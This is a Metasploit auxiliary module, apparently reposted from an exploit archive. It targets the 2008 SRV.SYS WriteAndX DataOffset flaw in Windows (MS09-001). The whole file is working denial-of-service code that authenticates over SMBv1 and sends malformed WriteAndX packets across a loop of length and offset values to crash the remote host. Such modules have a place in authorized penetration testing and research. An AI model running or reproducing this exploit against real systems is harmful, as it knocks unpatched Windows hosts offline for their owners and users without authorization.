Microsoft SRV.SYS WriteAndX Invalid DataOffset

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',  
'Description' => %q{  
This module exploits a denial of service vulnerability in the  
SRV.SYS driver of the Windows operating system.  
  
This module has been tested successfully against Windows Vista.  
},  
  
'Author' => [ 'j.v.vallejo[at]gmail.com' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['MSB', 'MS09-001'],  
['OSVDB', '48153'],  
['CVE', '2008-4114'],  
['BID', '31179'],  
]  
)  
)  
  
deregister_options('SMB::ProtocolVersion')  
end  
  
  
def send_smb_pkt(dlenlow, doffset,fillersize)  
  
connect(versions: [1])  
smb_login()  
  
pkt = CONST::SMB_CREATE_PKT.make_struct  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc807  
  
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i  
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i  
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i  
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
  
pkt['Payload']['SMB'].v['WordCount'] = 24  
  
pkt['Payload'].v['AndX'] = 255  
pkt['Payload'].v['AndXOffset'] = 0xdede  
pkt['Payload'].v['FileNameLen'] = 14  
pkt['Payload'].v['CreateFlags'] = 0x16  
pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed  
pkt['Payload'].v['ShareAccess'] = 7  
pkt['Payload'].v['CreateOptions'] = 0x400040  
pkt['Payload'].v['Impersonation'] = 2  
pkt['Payload'].v['Disposition'] = 1  
pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"  
  
  
simple.client.smb_send(pkt.to_s)  
ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)  
  
pkt = CONST::SMB_WRITE_PKT.make_struct  
data_offset = pkt.to_s.length - 4  
filler = Rex::Text.rand_text(fillersize)  
  
pkt['Payload']['SMB'].v['Signature1']=0xcccccccc  
pkt['Payload']['SMB'].v['Signature2']=0xcccccccc  
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i  
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i  
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i  
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc807  
pkt['Payload']['SMB'].v['WordCount'] = 14  
pkt['Payload'].v['AndX'] = 255  
pkt['Payload'].v['AndXOffset'] = 0xdede  
pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']  
pkt['Payload'].v['Offset'] = 0  
pkt['Payload'].v['Reserved2'] = -1  
pkt['Payload'].v['WriteMode'] = 8  
pkt['Payload'].v['Remaining'] = fillersize  
pkt['Payload'].v['DataLenHigh'] = 0  
pkt['Payload'].v['DataLenLow'] = dlenlow #<==================  
pkt['Payload'].v['DataOffset'] = doffset #<====  
pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====  
pkt['Payload'].v['ByteCount'] = fillersize #<====  
pkt['Payload'].v['Payload'] = filler  
  
simple.client.smb_send(pkt.to_s)  
end  
  
def run  
  
print_line("Attempting to crash the remote host...")  
k=72  
j=0xffff  
while j>10000  
i=0xffff  
while i>10000  
begin  
print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")  
send_smb_pkt(i,j,k)  
rescue  
print_line("rescue")  
end  
i=i-10000  
end  
j=j-10000  
end  
end  
end  
`